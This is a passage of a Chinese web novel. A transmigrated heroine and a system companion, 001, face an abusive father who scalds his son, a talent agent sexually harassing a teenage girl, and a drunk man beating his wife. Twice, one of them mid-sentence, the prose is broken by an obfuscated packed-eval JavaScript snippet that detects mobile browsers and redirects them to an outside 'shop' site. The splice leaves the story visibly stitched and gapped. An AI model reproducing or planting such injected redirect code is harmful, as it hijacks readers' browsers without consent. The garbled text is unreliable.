夏恒坐在夏汀舟对面,挽了挽袖口,终于对她说道:“班里倒数第二。你好大的面子,让我丢脸丢到你们班主任那了。” 夏汀舟早就做够了乖乖女,所谓的班里第一、年纪前十,那只是她用来稳住夏恒的唯一方式。 “可我真的很累,爸爸。” “就你一个人累?我在外打拼挣钱不累?你们班在你之前的那四十六个同学不累?你喊累之前能不能先想想自己说的话可笑不可笑?” 夏汀舟下意识闭上了嘴。 夏恒看到她乖顺的模样,露出满意的神色,这才是他听话的女儿。 “你闹了这么长时间,也该闹够了,高三开学,我要看到你重回班级第一。” “……我做不到。” “你做不到那你之前的成绩是谁的?鬼的?!” 夏恒猛地提高音量,把端着菜盘出来的夏迁舟吓得浑身一抖。 夏汀舟的眼泪不受控制地涌出来,但在夏恒面前,她连放声大哭的权利都没有,只能压低声音抽泣。 夏恒烦燥得连眉毛都一上一下地抖动:“哭哭哭,就会哭,和你妈一样,整天就会哭哭啼啼的!” “你说谁呢!” 夏迁舟忍无可忍地朝夏恒吼道。 夏恒不可置信地转过身:“你对谁说话呢?” 他朝夏迁舟走过去,不仅占据了身高优势,就连气势也完全碾压。 “记好了,我是你爹!”夏恒抬手朝夏迁舟背上捶了一拳。 夏迁舟手上还端着滚烫的甜汤,背上一吃痛,手上就泄了力,整个瓦罐瞬间倾倒,里面的热汤顺着他的手臂,向下流满全身,触及到皮肤的地方眨眼变得红肿。 “你是不是疯了,夏恒!” 夏汀舟尖叫着推开夏恒,飞快把夏迁舟拉到水池边上冲洗。 “是不是很疼,我马上带你看医生……” 夏汀舟一边哭一边问他,却不知道自己的手已经吓到颤抖。 孙姨还在厨房,看见夏迁舟整个小臂烫成这样,赶紧去冰箱找冰块。 夏恒心里更加烦躁,他把掉到地上的瓦罐踢到一旁,目光紧盯着夏汀舟道:“你叫我什么?” 夏汀舟红着眼,看着他嘶哑地喊道:“夏恒,你就是个混蛋,没良心的混蛋!滚!” 她压抑在心里十几年的愤怒终是在这一刻尽数爆发。 夏恒也气红了眼,眼看又要抬手。 夏迁舟“砰”地关掉水龙头,把夏汀舟护在身后。 “还想打人?信不信我现在就报警!” 他拿出手机,按下110。 “你打个屁!” 夏恒一把夺过,狠狠地砸到墙上。手机的屏幕瞬间爆裂。 孙姨差点被手机屏幕的碎渣嘣到脸,吓得赶紧安抚道:“夏先生,别和孩子置气,不值当不值当!” 说着,赶紧把夏汀舟和夏迁舟拉出了厨房。 夏恒想到什么,冷笑道:“好啊,你们一个两个合起伙来都把我蒙在鼓里是吧?我说夏汀舟怎么这么长时间都没碰过相机,原来一直是你这个保姆在替她撒谎!” 夏汀舟心里咯噔一跳,拉着他的手臂:“你要干什么?” “断了你的念想。” 夏恒一挥手把夏汀舟推到地上,两三步跨上楼梯。 “不行!”夏汀舟疯一般跟在他身后,哭着哀求道,“我求求你,别动我的东西,我求求你了行不行……” 夏恒踹开她的房间门,开始东翻西找,连衣柜床底都不放过。 他扔一个东西,夏汀舟就捡回来一个东西眨眼的功夫,夏恒从衣柜里提出来一个行李箱。 夏汀舟瞳孔皱缩。 这里面是她所有的相机和工具!还有她这五年来偷偷拍过的所有照片。 “爸,其他的都行,唯独这个不行,求你了别动这个箱子好不好……”夏汀舟几乎要给夏恒跪下。 夏恒毫不理会她的付乞,得意地看着她,打开窗户把箱子扔下了楼。 夏汀舟听到楼下传来的一声闷响,突然喘不过气来。 “你就是个疯子!”她的声音沙哑,整个人都要扑到夏恒身上。 “别冲动!”苏昙眼疾手快地拉住夏汀舟,可算找到了能说话的空隙,“那里面都是衣服!我提前把你的相机藏好了,箱子在夏迁舟的床下面!” 夏汀舟停住动作。她眼里已经没有泪,身体还在因为哭得太狠而抽搐。 她突然感觉好累好累。 “当务之急,先让夏恒离开房间。” 苏昙继续对夏汀舟说道。 这时,夏迁舟和孙姨也上来,把意识涣散的夏汀舟带了出去。 夏恒满意地离开了房间,路过夏汀舟时,装腔说道:“你还小,太多事都不懂,得听话。” 话落,又对孙姨道:“还有你这个保姆,明天起,就不用在别墅里干了,今天把房间收拾好,晚上我让助理给你结算工资,走人吧。” 夏恒离开别墅后,夏汀舟终于缓过来一点。她先看了看夏迁舟的胳膊,已经起了水泡。 她声音沙哑,脸色疲惫道:“孙姨,拜托您把我弟床下的箱子放好。” 接着,她拿出备用机给司机发了消息,带上证件立刻去医院治疗。 孙姨把夏汀舟二人送上车,默默把楼下的箱子捡回来,熟练地处理放凉的晚饭,打扫整个别墅的卫生。 今夜,恐无一人安眠。 87. 世界四(20) 从医院回来的路上,夏汀舟对夏迁舟说:“我们从今天开始去妈妈家住吧,以后不回别墅了,好不好?” 夏迁舟的手臂上过药,此刻正火辣辣地刺痛。他靠在车窗旁,过了好一会,才道:“……好。” 车里陷入沉默。 司机隐约感觉到晚上发生了什么事,一言不发地开车,很快把两人送到夏女士的老家。 下车前,夏迁舟拉住夏汀舟,问:“他们俩还是离婚了,对吗?” 夏汀舟不敢看他,她脸上的表情已经给出答案。 “我就知道。”夏迁舟笑了笑,“我就说妈怎么可能突然回姥姥家,走之前还拿走了她几乎没用过的行李箱。” 夏汀舟看着比她还小的弟弟如此风轻云淡,却能感觉到他心里有着和她一样的汹涌波涛。 陈玫正穿着旧衣,拿着拖把打扫卫生转移心情,突然听到门铃响起。 “来了。” 她把工具放下,洗净手拧开门把。 “……你们俩怎么过来了?”陈玫一开始还有些尴尬,在她低头看到夏迁舟贴着纱布的手臂时,立刻心疼地捧起来问道,“胳膊怎么弄成这样了?” 夏迁舟没有回答。 “爸打的。”夏汀舟想起傍晚别墅里发生的事情,心里还是一阵后怕,“我和弟弟想住在你这……以后都不想回去了。” “夏恒这个混蛋!”陈玫瞬间红了眼,“妈保护你们。有我在,他别想再动你们两个一根头发!” 夏迁舟:“姥姥老爷呢?” “他们已经睡了。正好,家里还有一个空房间,我马上给你们收拾出来。” 夏迁舟按住她:“现在太晚了,我先在客厅凑和一下吧,明天再弄。” “也是。”陈玫局促地笑了笑。 “妈,”夏汀舟对陈玫道,“我今天晚上,能和你一起睡吗?” 陈玫又喜又惊:“好啊,我再拿一个枕头去!” “嗯。” 夏汀舟还是有些不适应陈玫这么热情,等陈玫进到里屋后,又给孙姨发消息,先把她和夏迁舟的东西收拾好,明天找时间去拿。 半小时后,夏汀舟和陈玫躺到一张床上。 身边多出一个人,存在感就会变得尤为强烈。夏汀舟不出意外地再次失眠了。 她背对着陈玫,在黑暗中开口道:“妈?” 陈玫也依然清醒:“还是睡不着?” “来的路上,我和夏迁舟说好了,以后就住你这了。行吗?” “行啊,这也是你们的家。” “还有一件事,下学期我想住宿,不走读了。”夏汀舟想了想,说,“高三时间紧张,住校比较方便。” “但和同学住一起的话,你能睡好觉吗?会不会休息得不好?” “您不用担心。再说,我都习惯了,多睡一个小时少一个小时没什么影响。” “那什么时候申请?我给你签字。” “等开学吧。” “好,到时候你把单子拿给我。” 夏汀舟轻轻嗯了一声,不再说话,也没什么话要说了,便闭上眼酝酿睡意。 陈玫还以为夏汀舟会接着问她和夏恒离婚的事,可等了半天都没听到夏汀舟的声音响起,渐渐地,身边传出均匀的呼吸。 今天确实挺累的。陈玫想道。 * 苏昙记得夏汀舟刚睡着,便被001带回了裂缝之隙,而她游离的魂魄就快要支撑不住,赶紧回到了原主身体里。 第二天醒来,她身边的位置已经空了。 苏昙起床洗漱过后,打开手机,看到一条陈玫的微信。 “我今天出去找工作,你姥姥姥爷和我一起出的门,他们俩去超市抢购新鲜还打折的食材了。早饭在锅里,你和弟弟自己开火热热就能吃。有什么问题再和我发消息。” 苏昙走到厨房,果然看到米粥还在锅里冒着热气。她回了句“好”,放下手机盛了两碗饭。 “夏迁舟,吃饭了。” “知道了!” 夏迁舟擦干手上的水,从厕所出来。 苏昙看到他胳膊的伤,提醒道:“对了,今天记得上药啊。” 昨天她在一旁看到滚烫的热汤被掀翻,心里也感觉被烫掉一层皮,整个面部都狰狞起来。 “好。” 夏迁舟用烧得较轻的那只手端起碗,喝了一大口粥。 “我昨天和妈说过了,以后咱们就住着,等会吃完饭,我回去把咱们俩的行李捎回来。昨天我已经托孙姨整理过了——” 一串悠扬的手机铃声在厨房响起,打断苏昙后面的话。 她放下筷子:“我先去接个电话。” 夏迁舟点点头,继续吃饭。 苏昙拿到手机,发现是孙姨打来的。 “喂,孙姨。” “汀舟,东西我都收拾好了,你什么时候过来啊?你爸昨天压根没回家,我怕他今天回来,就不让你们走,所以就把行李先带回我自己家了。” “行,那您现在在家吗?” “在是在……就是我昨天在收拾房子的时候,把你养的花也带回来了,不知道你还要不要?” “花?我什么时候养花了?” “就是你生日过完那天早上,从房间里抱出来一盆花,说让我放到客厅去。本来我以为是你不要的,结果后来一天晚上,我看到那花的花苞竟然开了。后来查了才知道叫昙花,开完就会凋谢。但你换得频繁,我都没见花枯过呢。” 苏昙直觉,这件事十分有九分的不对劲。 “孙姨,那盆花你先别动,我马上过去!” 她挂断电话,立刻出门打车去孙姨家。 一路上,苏昙心里的谜团越绕越大。 昙花一现,现了之后不就该凋谢枯萎?为什么还能开这么多次? 还是说,001送的这盆昙花每晚都会开放,然后回到花苞状态,新夜晚来临时,便再次绽开? 而且,为什么这盆花在里世界里,竟然不会受到时间的影响? 苏昙在识海问道:“001?” 过了几秒,子系统的声音出现,听着像是急匆匆地赶过来。 “怎么了?” “你确定你送我的那盆昙花,是虚空之境的?” 001“唔”了一声:“确定是确定……但你不是把花扔了?” 毕竟他之后再没在房间里看到那盆花,一个人失落了好些天。 “花、呃,的确被我扔了。扔在客厅的角落里了。”苏昙心虚了一秒,很快道,“但现在问题不是这个,你知不知道,你买的那盆花不会枯萎?” 这次轮到001惊愕。 他思考片刻,问道:“我还没见过这样的情况。你有保存它第一次开放时候的照片吗?” “有,我现在给你找。” 苏昙拿出手机,熟练地打开相册,突然意识到什么,划过照片的手指霎时顿住。 在她看不到的地方,001眼底闪过轻微的诧异,嘴角压抑不住地微微上扬。 识海诡异地安静下来,苏昙却觉得无比煎熬。 “你,怎么不找了?” 001颇有些期待地问道。 但在苏昙听来,完全是赤裸裸地戏弄。她淡定道:“你不会想看的。” “我会的。” “不,你不会。”苏昙试图洗脑。 “我看了才能知道是不是同一盆花。” “……” 苏昙拗不过他,两眼一闭,把照片翻了出来—— 月光透过窗户倾洒在绽开的白色花朵上,仿佛给花瓣穿上一层丝绸,但更吸睛地,是坐在花前,赏花的人。 偷拍的人只拍下了赏花人的侧脸,立体的眉骨、高耸的鼻梁、流畅的下颌线,还有他专注赏花的眼睛,和嘴角噙着的一抹淡淡的笑。 那晚苏昙根本没睡着。没过多久,她便看到花开了。不是一瞬间绽放,而是一片片花瓣先后迸开,逐渐吐露出里面的花蕊。 或许是知道赏花的人和这花一样,太容易留不住,她鬼迷心窍地摸到枕边的手机,静音拍下了眼前的一幕,又赶紧装模做样地闭上眼装睡。 “我以为……你真的没有看到。” 短暂的愉悦后,001心脏泛起一阵余幸的酸涩。 “花那么好看,不拍下来不就白白浪费了昙花一现的机会?”苏昙努力找补,“谁知道这花竟然天天开。” 她赶紧熄灭了手机屏幕。 001把目光从照片上收回,又落到苏昙脸庞:“嗯,刚才确定了,是同一盆花。” 以防苏昙再次炸毛,他紧接着道:“会不会因为这盆花不属于里世界,所以才不会受里世界时间的限制?” “很有可能。等到了孙姨家,你再把花带回虚空之境,看看会它还会不会开。”苏昙若有所思。 “听你的。” …… 十分钟后,苏昙到了孙姨楼下。 “师傅,您先别走,等五分钟,我马上回来。”苏昙对司机说着,快速下车走向孙姨。 司机点点头,打开手机开始趁着间隙刷会短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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语气松散轻快,就是听起来快哭了。 “……” 苏昙总觉得他和一般的异性不太一样,哪有表白被拒绝了还能若无其事和没事人一样,一点也不知道尴尬避嫌吗? 照片是能留作纪念,但多余的照片只会占据相册内存,必须要定期清理。他似乎把照片看得太重了,几乎到了珍惜的地步。 她实在想不通,索性胡诌道:“没关系,你买一个手机,想拍多少拍多少,想怎么拍怎么拍,前置后置、美颜滤镜——不过我觉得你不需要,还有实况视频全都来一遍,那张照片算什么?你会发现新世界的。” 001被她的这番说辞逗得轻笑,心里的遗憾被搅得烟消云散。 * 虚空之境。 密门背后,正躺在高座上睡觉的黑影突然浑身战栗,痛得从座位上不受控制滚落下来。 主神瘫在地上不停喘息,祂觉得身上哪里都痛,仿佛祂的每一寸骨头都被细细碾碎,神经如针扎线挑般瘙痒难耐,一度接近癫狂。 高座周围的众多触手也罕见地蔫了吧唧地垂到地上,虚弱得快化成一滩水。 不知多久过去,主神身上的刀割一样的疼痛渐渐退去,祂扶着座沿坐起来缓了一会,脚步虚浮地挥手抚开大殿里面被金柱拱起来的扇面墙。 霓虹涩的光辉散开到两侧,暴露出背后的庞大景象。 无数不同大小、不同颜色、不同长短的线轴,来回绕墙后的环形空间穿梭,看似毫无规律,却排列十分整齐,一层一层向中心向上靠拢,像一个巨大的千层蛋糕。 主神走到线轴前,顺着它们穿梭的轨迹转了一圈又一圈,最后发现在这些线轴的最底端,有几条线轴缠绕在了一起。 祂走得更近了些,身上那股锥心刺骨的疼痛又蠢蠢欲动。主神迅速退后,手心朝上,唤出了一颗乒乓球大的珠子。 手心的珠子微微震动,仿佛也受到了前面交错的线轴的影响,看起来不安而躁动。 主神走出墙后的空间,关上了隐藏在墙体里的机关门。 这领祂想起了一个宿主。 他在的那段时间,这些线轴也出现过同样的情况。未承想,如今往事竟重现。 主神坐回高台,周身的黑气又浓郁了几分。 88. 世界四(21) 暑假过去几天,苏昙偶然在手机邮箱里看到一条信息,来自一个叫盈星公司的官方邮箱。 她第一眼看见这个名字就觉得有些眼熟,查了之后才知道,她之前替夏汀舟投的稿,恰好在这个盈星举办的一个摄影比赛获了特等奖,有优先被邀请去公司合作的机会。 苏昙又仔细看了一遍邮件,末尾附有对接经纪人的联系电话和公司详细地址。 她先在某企业查询app和百度上了解了这家公司的大致情况——盈星公司是一家专门发掘培养明星艺人的公司,南山市的这家是分部,坐落在市中心商务大楼中的其中一层,附近都是一些其他大型企业,相比之下没那么出名。 确定不是诈骗后,苏昙拨通邮件上的联系电话。 “你好,请问你是?” 对面响起一个温柔女声。 “请问贵公司是不是在上半年举办过一次摄影比赛?” “稍等,我查询一下。” 过了大约半分钟,接线员重新说道:“没错。请问摄影比赛有什么问题吗?” 苏昙:“是这样,我在那次比赛里获得了特等奖,上个星期收到你们公司的一条邮件,说想要邀请我与你们合作进行一次写真拍摄,让我两周内给你们回复。请问有这回事吗?” “再稍等一下。” 接线员劈里啪啦敲着键盘,片刻后问道:“您是叫夏汀舟?” “对。” “的确有这回事。如果您有意向,还请在这周日前回复邮件,到时候公司会给您发一个合同。” “行,我知道了,多谢。” 苏昙挂了电话,犹豫要不要接受。 斟酌之后,她把001喊了出来,先问了他的意见。毕竟她并不会拍摄,如果要带夏汀舟出来,还要靠子系统的帮助。若是001不愿,她定不会强求。 “你介不介意,再把夏汀舟带出来一次?”苏昙把事情的原委告诉001。 001几乎没有犹豫道:“可以是可以,但你们要算好时间,不然容易引起怀疑。” “那你呢?你的身体……” “不碍事的。” 说完,001意识到什么,反问道:“你刚才是在关心我吗?” “……”苏昙觉得她就活该多问一句,木然地笑道,“那你想多了,只是单纯怕你拖累我和夏汀舟。” 001眼底笑意盈盈:“不会的。” 当天晚上,苏昙便收到了公司发来的合同。只是她身边没有懂法的人,以防万一还是要找个内行的人看一看才好。 桌子上电脑的界面还停在合同第一页,她准备等会再细瞧,收拾好睡衣进了浴室。 苏昙洗漱好从浴室出来后,便看到陈玫坐在电脑前面聚精会神地盯着屏幕。 “妈?”苏昙走过去问道,“你看得懂合同?” 陈玫有些不好意思道:“我大学学的就是法学,多少能看懂一些。这是你要签什么合同?” “一个公司的拍摄活动,想邀请我去拍几组写真。您觉得有什么问题吗?” “我刚才大致看了下,这个公司挺正规的,合同细节没什么大问题,但你是未成年,如果当面签约,监护人需要在场。到时候,我陪你一起去,给你把关。” “好。那边给我说的时间是这周六,您看有没有时间?” “可以。我新找的工作有双休,正好有空。” * 周六上午,苏昙按照夏汀舟的要求,背着工具包,和陈玫按地址在南山商务中心大楼地二十八层找到盈星公司的logo,向前台说明了来意。 前台小姐露出标准微笑:“您好,请您在旁边的沙发上稍等,各部门还在开晨会,结束了马上就来。” 陈玫趁这会去了趟洗手间,苏昙得到工作人员的准许,给陈玫知会过,开始四处闲逛参观盈星内部。 盈星只占了大楼其中一层的一半,呈环状连通大楼左右两边。最前面的房间是待客室,再往后走是会议室、人力资源部、财务部、法务部、训练室等,走廊的玻璃上都贴着单项透视贴膜,看不到里面的具体情况。 再往前走,就是后勤部,隔壁是用来放各种道具的储物间,那里是盈星公司范围的尽头。苏昙正准备折回,隐约听到走廊的拐角处传出轻响。 若是声音响亮,她会以为是杂物不慎从架子上掉落,但那声音很轻很小,像是一只猫的叫声,又多了几分急促惊魄,听着莫名让人心慌。 苏昙小心地绕过放置在走廊墙边的货架,静悄悄地靠近拐角处的房间,发现门竟是半掩着的,露出一条拇指宽的缝隙。 房间里暖黄色灯光暧昧昏暗,两个交叠的影子被投射到地上,一直拉长到门口,落到苏昙面前。 她以为看到了不该看的,心里快速默念“非礼勿视”,移开了目光。 转身的一刻,房间里传出一句破碎的女声:“放开我……” 苏昙动作猛地凝固。 这声音的主人她永远不会忘——几次出现在她梦里,每次出现,都在向她质问责骂的苏雨昙! 她为什么会在这里?! 苏昙心脏狂跳不止,呼吸登时变得急促粗重。 房间里苏雨昙还在挣扎呼救,因为被人压在身上,只能发出微不可察的喉音。 苏昙心里涌起不好的预感,情急间,她借着转身的机会,故意碰倒了门口的货架,上面虽没放东西,但架子倒在地上,发出巨大的声响,随之断成一节一节的零件。 房间里的动静瞬间消失。 两秒后,被性骚扰的漂亮女孩带着泪痕紧捂胸口,惊慌地打开房门跑了出来。 正是苏雨虹。 苏昙把她护到身后,举起手里的手机,走进房间,“啪”一下按开墙上的大灯,里面的情形尽数暴露在眼底。 一个娃娃脸的中年男性愣在原地,内裤脱了一半还没来得及穿上,眼里未尽的欲望令他望着闯进房间的人呆滞对视。 苏昙毫不留情地把相机对着他全身上下扫了几个来回,该放大的地方放大,该特写的镜头给特写。扫过他胸口的时候,苏昙注意到他胸牌上写的名字,叫马庆年。 “你谁啊?拍什么拍?!” 马庆年捂住□□,刚想上前夺手机,突然想起还没穿裤子,又赶紧背过身狼狈地拾起地上的裤子。 苏昙退到门外,毫无歉意道:“真是抱歉啊,经纪人让我过来拍两组写真,我以为要拍的人就是你,没想到尺度这么大。原来贵公司内部这么开放吗?” 马庆年穿好裤子,冲出门威胁道:“我就是经纪人!刚才那女孩只是我新招来的童星,要是你听话把视频删了,我保你还能正常接工作。” “放心,我把视频交上去,先走的人是你是我还不一定。”苏昙拉走苏雨虹,把散落的架子零件提到马庆年脚边,“架子钱我会赔,至于你,我也会告。” 陈玫和前台闻声赶来,看到现场一片混乱,同声问道:“怎么了?” 苏昙问前台道:“这人是你们公司的吗?” 前台顺着她手指的方向看去,面露惊讶:“马哥你……没去开会吗?” 马庆年装模作样地一本正经解释:“小朱,你忘了,今天我要带新人来签约,刚在就在屋里谈事呢。” “大早上的春梦还没做醒,谈事谈到人家身上去了?”苏昙朝他晃晃手机,“证据还在我这,你倒是会给自己开脱。” 马庆年一脸菜色,现场人多他不好发作,只好默默憋了回去。 这时,苏昙感觉有人在碰她的胳膊,苏雨虹把她拉到一旁,小声道:“合同我还没签,不打算签约了,这件事你也别管了。” “真的算了?” “嗯。” 苏雨虹的状态调整得很快,她现在看起来并没有受到马庆年的影响。 苏雨虹走到小朱面前,说道:“多谢你们的邀请,我拒绝签约。刚才的事,我不向你们索要精神损失,麻烦你转达一下上面,让他们好好思考一下,马庆年这样的人招进公司,到底是帮助还是祸害。” 苏雨虹神色淡淡,不见恼怒,也没有羞愧,她走到走廊的另一头的待客室,拿走了书包。 小朱是个眼明心净的人,一看这架势就把发生的事猜了个七七八八,满怀歉意地对陈玫道:“真是不好意思啊,让你们看了个笑话。” 陈玫严肃道:“这可不是笑话,我看贵公司这么没有纪律的气氛也不适合我孩子工作,请你们另寻他人吧。” 小朱心里叫惨:她说的笑话是指马庆年啊! 而苏昙早就不想在这呆下去,此刻她满心满眼都是突然出现的苏雨虹。 “视频我会删,但如果你们想再追究,我不介意把今天的事闹大。” “您放心,我们一定严格整改!今天就当什么都没发生过,咱们相互体谅,多谢多谢。” 小朱狠狠松了一口气,毕恭毕敬地把陈玫二人送走。 苏昙赶紧把工具包交给陈玫:“妈,我找刚才的女生有点事,您先在楼下等我一会!” “你们认识?是同学吗?” “算是吧!” 苏昙说着朝苏雨虹离开的方向跑远了。 就在刚才,她回忆起,之前第一次在梦里梦到苏雨虹的时候,苏雨虹嘶吼地质问她,为什么看到了却不站出来帮忙,情绪十分崩溃。 就是时间距离太长,梦里具体的内容已经模糊。但苏昙直觉,那个梦与眼下的这件事有关系。 “001?你还记得当初在月影族凌冉的家里,我给你讲过我做的有关苏雨昙一个梦吗?” 过了几秒,001的声音响起:“记得。” “那你还有印象,当时我给你描述的,猥亵苏雨虹的那个人叫什么?” “过去有点久,记不太清了……好像姓……马?” 苏昙面色微沉:“果然,都对上了。我那时的梦,就是刚才发生的这件事。可梦里的苏雨虹比刚才看起来崩溃得多,过去马庆年做的应该比我看到的更过分。” 001略一思考,纠正道:“不,准确来说,应该是比夏汀舟看到的更过分。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776489|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏昙立刻领会:“你是说,因为我做了不同于夏汀舟的选择,导致事情的结局改变了?” “没错。” “那我上学期还做了一个梦,还是和苏雨虹有关的。我和她之间好像还发生了什么事,她约我到学校的办公楼上,似乎要跳楼。这件事不会也会在未来发生吧?” “最后呢?” “我刚要伸手拽她,梦就醒了。”苏昙边跑边说道,“所以,我也不清楚最后到底怎么样。” 001疑惑地问:“你说她约你到办公楼,是南山高中的?” “对,就在办公楼——”苏昙想到什么,转口道,“苏雨虹怎么会出现在南山高中?我从没在同年级的学生里见过她!” “偏偏不巧,我能读到的原主的记忆根据她们死亡的时间而定,不能脱离太远。当时在第一个里世界,我能看到的苏雨虹最早的记忆,是在她大学后。而夏汀舟的,就是高二之前的所有。” 001把之前忘记告诉苏昙的尽数说出来。 “看来要亲自去问问本人了。” 苏昙停下脚步,看着正往商务楼大厅门口离开的苏雨虹。 她高声喊道:“苏雨虹!” 穿着淡蓝色印花棉T背着书包的女孩转过身寻找呼喊的源头,周身的年轻气质与这座大楼死板沉闷的气息格格不入马,十分显眼。 “是你。”苏雨虹没什么意外地说道,“还没感谢你,刚才愿意站出来帮我。我还以为你会装作没看见跑走,毕竟连架子都吓得碰掉了。” 嘶,语气不怎么友好,好像还有些误会。苏昙敏锐地察觉出来。 “你怎么知道我叫什么?”苏雨虹皱眉问。 苏昙眼睛一转:“刚才走的时候问了一下前台的工作人员。” “你打听这做什么?” “就是单纯想帮你。”苏昙十分真诚道,“我看你和我一样大,都是学生。但我实在想不明白,为什么你会想要冒险签娱乐公司?是准备进娱乐圈吗?” “和你没关系吧。” 苏雨昙提了提书包带子,抬腿欲走。 苏昙紧跟在她后面:“如果不是为了当明星,那就是为了钱。” 苏雨虹猛地停下来,苏昙差点直直地撞到她背上。 “……是,我就是为了那点破钱。”苏雨虹转过身,饱满的杏眼里覆上一层薄怒,“结果呢,我差点把我自己赔进去!你满意了吗?可笑吧?我妈现在就躺在病床上,等着我的救命钱,而我却什么都做不了……” “我帮你。”苏昙二话不说拿出手机,“你要多少?” 她写项目多少赚了一点,先把治疗费交上去应该不是大事。 苏雨虹愣在原地。 “三万够吗?” “……” 苏昙看她的反应,心想应该不够。 “两万。”苏雨虹盯着苏昙,“就两万,你有吗?” 苏昙收起手机,点头道:“阿姨的医院在哪?带我过去吧。” 苏雨虹此刻也顾不上那么多,眼里燃起明亮的希望,立刻出门打车:“在市中心的三甲医院,跟我来。” 苏昙跟着她坐上车,给陈玫发了条消息,让她先回家,不用等了。 车上,苏雨虹的紧张戒备褪去一些,面色放松下来,对苏昙说道:“我妈得的是乳腺癌。幸运的是,发现的早,是2A期,术后的康复率还是比较客观的。” “那你爸爸……” “别提他,晦气。” “那你平常就家里医院两头跑吗?” 苏雨虹轻轻嗯了一声:“为了方便照顾我妈,暑假之后我就转学,到离医院近的南山高中读高三,这样也好方便照顾她。” 苏昙心中了然。原来苏雨虹转学的原因是这个,怪不得会在梦里说借钱看病的话。 “你……不害怕我是骗钱的?”苏雨虹有些紧张地问道。 苏昙反问:“那你就不害怕我是害命的?” 说完,两人对视了一会,不约而同地笑了。 苏昙在苏雨虹眼里看得真切,她表现出的焦虑担心不会有假。再加上梦里的预示,估计未来她还真的会和苏雨虹在办公楼顶有一见。 “对了,还没问你的名字。你是哪个学校的学生?” “我叫夏汀舟。南山高中的,很巧,下学期我们要做同学了。” “你学的理科文科?” “文科。就是成绩不太好。”苏昙耸肩道。 “我也是文科。”苏雨虹十分惊喜,脸上终于多了几分学生的稚气,“就是还不知道南山高中怎么分班的,之前都是在市边上的小县城上学,分班什么的都很随性。” 苏昙把知道的告诉了她:“应该是综合高一高二的成绩,南山高中分超越、宏志、和平行班。” 苏雨虹流露向往之意:“像这种市里的好高中,超越班一定很多学霸学神吧。” “相信自己,只要想去,就一定会有机会的。” “嗯。” 苏雨虹歪着头,看着车窗外的风景陷入沉思。 89. 世界四(22) 苏昙陪苏雨虹缴费的时候,记住了她妈妈的名字叫田霞。给田阿姨缴完手术费,趁着中午的时间,她和苏雨虹在医院附近的小餐馆吃了一顿午饭。 来这附近吃饭的要么是病人,要么是病人家属,基本没有其他人。吃完饭已接近两点,餐馆里用餐的人陆陆续续离开,只剩下苏昙两人仍坐着乘凉休息。 苏雨虹站起来走向还在后厨忙碌的老板娘:“阿姨,您这有笔和纸吗?” 老板娘闻声,两手在腰间的围裙一抹,爽朗笑道:“有,等我给你找找!” 拿来笔和纸,苏雨虹在苏昙对面坐下,神色郑重,边写边说道:“我们家现在没有多余的钱还你,这张欠条作证,我一定在大学毕业之前,把欠的钱还给你。” “好。” 苏昙等她写完,把欠条小心收起来。 “那个,我还没你的联系方式,你加一下我吧。” 苏雨虹把微信名片展示出来。苏昙点头扫码,发送好友申请,备注上她的名字。 做完这些事情,两人都不再说话。本来就是今天刚认识的,又单方面进行了巨额金钱交易,气氛一时间有些尴尬。 苏昙在犹豫要不要现在道别离开。 午后的蝉鸣聒噪,像浪潮一样,一阵接一阵,仿佛医院里的人憋在心里的话都被它们说尽了。 正当苏昙准备告别时,苏雨虹有些紧张地摩挲着搭在桌上的拇指,缓缓开了口。 “我是半个月前,意外看到我妈藏在厨房橱柜里的检查报告,才知道她生病的。” * 两个月前。 “臭婆娘,整天就挣那么一点钱,还不够我和车间的兄弟喝两回的!” “我一个月就那四千块钱,你把一半拿走喝酒挥霍还不够,非要把家里喝得一干二净才愿意吗?” “废什么话,把你藏起来的钱给我,快点的!” 苏雨虹放学回到家,刚推开门,便听到客厅传来打斗的声音。这是她不知第几次看见苏建军酗酒后对田霞发疯。 但这次情况比之前任何一次都要严重。 苏雨虹闭上眼,站在门外做了几秒心理准备,走了进去。 苏建军浑身酒气,脸和脖子通红,口齿不清地嘟囔着什么,一手薅着田霞的头发往他身边拽,另一只手握成拳朝田霞身上招呼。 田霞毫无还手之力,脚下连跌,连保护身体器官的机会都没有。 “给不给?给不给?给不给!” 田霞痛得惨叫,胡乱地护住脑袋。 苏雨虹吓得声音抖了三抖,惊慌中强迫自己镇定下来,怒喊道:“苏建军我报警了,你小心点警察马上来抓你!” 苏建军还在醉头上,一时间精神恍惚,花着眼愣是没认出自己女儿,稀里糊涂只听到了“警察抓你”四个字,神色一凛,瞬间推开了田霞。 “打什么人,我教训家里人呢,警察小兄弟别误会,哈哈。” 说着,揉着头进了卧室,没过几秒,巨大的鼾声从里面传来。 苏雨虹急得书包都忘了去,上前扶住田霞,仔细观察她的身体,问道:“妈,要不要紧?不然去医院检查检查吧。” 田霞胳膊上肉眼可见青了好几处,脸上也有抓伤,洇出浅浅血痕。 然而,她摇头安慰苏雨虹道:“没事,涂点药过两天就好了。” 苏雨虹气得红了眼,却不敢在田霞面前哭,怕让她更伤心。 “妈,为什么一直都不报警?我不怕和那个姓苏的对着干,他那种人,死了都没人替他哭丧。” 苏雨虹看着苏建军的房间,咬紧牙关道。 “说什么呢,就算他再败家、再施暴,也是你的父亲,有血缘关系在,不可能撒手不管。”田霞叹了口气,“你爸一喝酒就忘事,打完人倒头就睡,你也不是不知道。等他明天一醒,该干啥就干啥去了。毕竟他一半的工资在我这,我也不好说什么。” “那就把钱给他,你们离婚!每次都是这样,凭什么受伤的只有我们?!” “把钱都给他?那你的学费哪来?饭钱哪来?家里的水电费哪来?做事哪能不计后果只管眼下的?” 女儿脾气不好,田霞的语气也忍不住冲人。 